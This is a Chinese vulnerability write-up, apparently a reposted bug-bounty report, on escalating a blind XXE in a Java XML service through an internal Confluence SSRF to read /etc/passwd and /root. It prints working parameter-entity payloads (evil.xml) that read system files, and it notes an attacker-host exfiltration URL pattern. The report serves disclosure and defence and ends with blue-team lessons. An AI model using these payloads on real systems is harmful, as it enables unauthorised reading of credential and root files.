从Blind XXE漏洞到读取Root文件的系统提权案例分析

这篇文章主要介绍了从Blind XXE漏洞到读取Root文件的系统提权案例分析，具有一定借鉴价值，感兴趣的朋友可以参考下，希望大家阅读完这篇文章之后大有收获，下面让小编带着大家一起了解一下。

*本文中涉及到的相关漏洞已报送厂商并得到修复，本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担。

在最近的漏洞众测过程中，作者测试XXE漏洞时，遇到了一个有意思的XML服务端。该服务端在网上基本没什么记录和参考，唯一能找到相关的，只是一篇2016年初，某开发人员应用该服务端遇到困难时，寻求帮助的发贴。在以下文章中，作者分享了测试该服务端时的一些思路，最终，作者利用了一个中危漏洞的Blind XXE，发现了可读取root级别文件的高危漏洞，成功实现了系统提权。

文中刻意着重描述了测试过程中遇到的各种错误消息，希望对读者有所启发和帮助。另外，由于是邀请测试，出于保密，其中所有涉及服务端的可识别信息都已了作了隐匿处理。

一开始的发现

起初，引起我注意的是一个响应XML格式消息和404状态的服务端，如下：

但当我把请求方法更改为POST，且在其中添加了一个 Content-Type: application/xml 这样的头，和一个无效的XML内容体，之后，响应消息多了一些有意思的变化，看似有点XXE的意思：

然而，当添加进入的是一个正常结构的XML文档之后，响应消息有了更进一步的变化：

请注意，服务端显然希望提供密码或凭据信息才能与其进行正常交互，遗憾的是，当前项目没有任何文档提及凭据的具体形式，而且我也没找到任何有效的凭据信息。确实，之前我做过的一些XXE利用方式需要与目标服务端进行某些形式的“有效”交互，才能成功起效。所以，现在看来，没有凭据，想要深入利用XXE漏洞就非常难了。

但是，虽然如此，我们也不必灰心。由于XML文档结构包括XML声明、DTD文档类型定义和文档元素信息，所以这里我们可以来测试一下 DOCTYPE 定义，看看服务端是否完全禁用了外部实体的应用，或者试试其它有什么响应。所以，我又接着构造了以下包含DOCTYPE，且利用了Collaborator模块进行带外测试的请求，并有了相应响应：

服务器无法对您的请求做出及时响应。！？之后，我又仔细在Burp Collaborator中的检查了相关交互，迫切希望其中能发现一个传入的HTTP请求，但是只看到了以下画面：

非常不幸，服务端貌似可以解析我的burpcollaborator.net代理域名，但却没有出现HTTP请求，而且服务端在几秒之后出现了500的超时响应状态。

这看似是服务端防火墙的作用了，我继续针对其它端口进行出站HTTP请求测试，但都无功而返。所有端口都会显示超时，也就是说目标服务端部署的防火墙能成功阻断所有非正常出站流量，安全防护做的还不错嘛！

实现 Blind XXE

基于以上发现，我捣鼓一通，测试发现了一个问题，但还不太确定，我只有通过尝试访问一些本地文件、内部网络或相关服务，来证明它可能会是一个中危漏洞。

该漏洞问题的影响是，我可以用它来成功探测目标服务端上一些文件的存在性，如下：

响应消息说明了文件的存在可能，而且能被服务端的XML解析器正常打开读取，但由于文件内容不是一个有效的XML文档类型定义，所以解析器解析失败并抛出了一个错误。换句话说，服务端未禁用外部实体的加载，但我们却没看到任何输出信息，所以，从这个角度来说，这看似是一个Blind    XXE漏洞。

此外，我们可以假设服务端运行的解析器是 Java 的 SAX解析器，因为从响应报错消息来看，它似乎和Java错误类  org.xml.sax.SAXParseExceptionpublicId 相关，这就有意思了，因为Java在XXE方面具备很多特性，之后我们会做讲解。

当我们构造访问的文件在服务端不存在时，其响应为：

OK，这看似是有用，但还不够说明问题。我在想，能不能利用这个Blind XXE漏洞开展一些对目标服务端的原始端口探测扫描呢？如下：

这种方法不错，可行的话证明我们可以枚举出目标服务端的内部服务，这虽然能反映些许问题，但还不是我想要的效果。这样的Blind XXE漏洞看似和Blind SSRF漏洞有些相同：可以发起对内部服务的HTTP请求，但却不能读取响应。

所以，我就好奇能不能用其它SSRF相关技巧来间接利用这个Blind XXE漏洞呢。先可以做的就是查看服务端的其它协议使用情况了，如https、gopher、ftp、jar、scp等等，虽然最终对这些协议的测试没有实质性的效果，但从服务端的错误响应消息中可以得到很多有用信息。如：

是不是很有意思，服务端能识别我们提供的使用协议，并做出错误响应。这个点可以先记下，以备后用。

因为和Blind SSRF漏洞的相似性，所以可以利用它来探测一些内部Web服务。由于这家公司和非常广泛多样的开发团队都有合作，并且在其Github开发文档中也涉及了大量形如x.company.internal样式的内部主机说明，我发现目标公司部署了如下的一些内部服务资源：

wiki.company.internal

jira.company.internal

confluence.company.internal

由于之前的防火墙阻断了我的出站流量，在这里，我想验证它是否会对内部服务的流量进行阻断，或是这些内部服务是否真的存在。

从以上响应结果来看很有意思，可以看到报错消息说明，我们请求的内部资源被服务端读取了，只被识别为错误格式。也就是说，内部资源的读取是被允许的，而且我们的请求也是有效的。

这就是厉害所在了，利用Blind XXE漏洞可以发起对目标系统内部Web服务的请求、枚举文件存在可能、枚举所有可能的运行服务。基于这些危害，我上报了漏洞。但当我周末出外旅行时，我却一直在思考这个漏洞，觉得应该还有其它深入发现的可能性。

盲人国里,独眼称王

经过一个周末的休整和思路调整，我决定对这个Blind XXE漏洞再继续深挖。尤其是，我意识到如果我能在目标服务端内部找到类似代理作用的主机，就可以把未做安全过滤的内部服务流量路由到外部来。

常来说，要从无法读取响应的Web应用中去发现漏洞相当之难，但好在，早前社区披露过一个针对Jira应用的SSRF漏洞，并已在多篇发文中提到过具体的利用方法。    

为此，我急切地想利用这个方法来映证我在Github上发现的目标公司的Jira应用：jira.company.internal，构造的请求和对应的响应如下：

从响应消息中可以看到，可能是SSL验证方式出错导致了HTTPS请求有问题，另外，通常的Jira实例都是运行在8080端口之上的，那么，我们就换成HTTP，加上8080端口试试：

然后，我查看了 Burp Collaborator 模块的交互信息，并没什么发现，可能是服务端的Jira实例打了补丁或是禁用了存在漏洞的插件。之后，我漫无目的地在wiki.company.internal上去找SSRF漏洞，最后，我决定在confluence.company.internal上尝试一下和jira.company.internal相同的测试方法，只是我把测试端口换成了confluence应用的默认端口8090：

等等，这是什么？多了一个HTTP请求：

成功了！这样就可以通过confluence实例，绕过防火墙限制，把内部流量间接转向外部了。也就意味着，我们可以在上面进行一些经典的XXE攻击了。首先，我们构造出一个如下内容的恶意文件evil.xml，并把其托管在攻击者服务器上，希望最终能触发出有用的信息来。

<!ENTITY % file SYSTEM "file:///"><!ENTITY % ent "<!ENTITY data SYSTEM '%file;'>">

让我们来仔细看看上面这个文件的具体定义：

1、把外部引用（这里是系统的/目录）加载到变量%file中来；

2、定义一个%ent变量，它只是起到一个穿插作用，目的在于编译第三个实体定义；

3、尝试在%file处访问资源，并将该位置的内容加载到实体的data中。

注意，我们希望上述第3方面的定义执行失效，因为%file处的内容将不会指向一个有效的资源位置，而只是会包含完整的目录内容。

现在，利用confluence.company.internal这个内部实例来指向我们的恶意文件evil.xml，并要保证其中的 %ent 和 &data 要能被访问到，以触发目录访问。太好了，响应最终列出了服务端的所有目录信息：

有意思的是，这显示了另一种从服务端获取错误响应的方法，即指定一个“missing”丢失的协议，而不是我们前面看到的无效协议。这也可帮助我们解决在读取包含冒号的文件时遇到的问题，例如用上述方法读取/etc/passwd时会导致以下错误:

换句话说，第一次出现在冒号:之前，是可以读取文件的，但冒号之后的东西就不能再被读取了。如何来绕过这一点并在响应消息中显示具体文件内容呢？那就是在文件内容之前加上一个冒号，这会导致出现“no protocol”错误，因为首个冒号之前的字段是空的，如未定义样式。所以，我们在攻击者服务器上的托管文件    evil.xml 可构造如下：

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

最终的结果如下：

读取/root目录文件的结果：

就这样，针对目标公司系统，通过滥用不当的网络隔离措施、未打补丁的内部应用服务、未作权限配置的Web服务器和存在信息泄露的错误响应，我们就能从Blind XXE的中危漏洞，提权至可读取root级别文件的高危漏洞，实现了对目标系统的控制。

经验总结

红队：

如果发现有意思的东西，就继续深挖；

Java SAX解析器对URL模式的处理方式，存在一些提取有用信息的新方法。当前流行的Java版本都不允许将多行文件通过外部HTTP请求（如http://attacker.org/?&file）方式窃取导出，但却可能从一些错误响应消息甚至URL协议中，获得一些目标系统相关的多行响应信息。

蓝队：

积极修补内部服务系统存在的漏洞补丁；

不能简单地把内部网络认为是安全的，应该做不同信任级别的划分；

错误消息应该传入错误日志，而不是HTTP响应中；

身份验证并不能有效缓解防护如XXE漏洞的安全问题。

漏洞上报进程

2018.11.26     发现有意思的XML服务端

2018.11.28    上报Blind XXE漏洞，风险在于可列举文件、目录、内部网络位置和服务端口

2018.12.3      发现存在漏洞的内部Confluence应用服务器，上报测试PoC视频，演示了读取根目录文件

2018.12.4      公司漏洞修复并发放漏洞赏金

2018.12.6      申请对该测试的文章披露

2018.12.12     获得批准

感谢你能够认真阅读完这篇文章，希望小编分享的“从Blind XXE漏洞到读取Root文件的系统提权案例分析”这篇文章对大家有帮助，同时也希望大家多多支持亿速云，关注亿速云行业资讯频道，更多相关知识等着你来学习!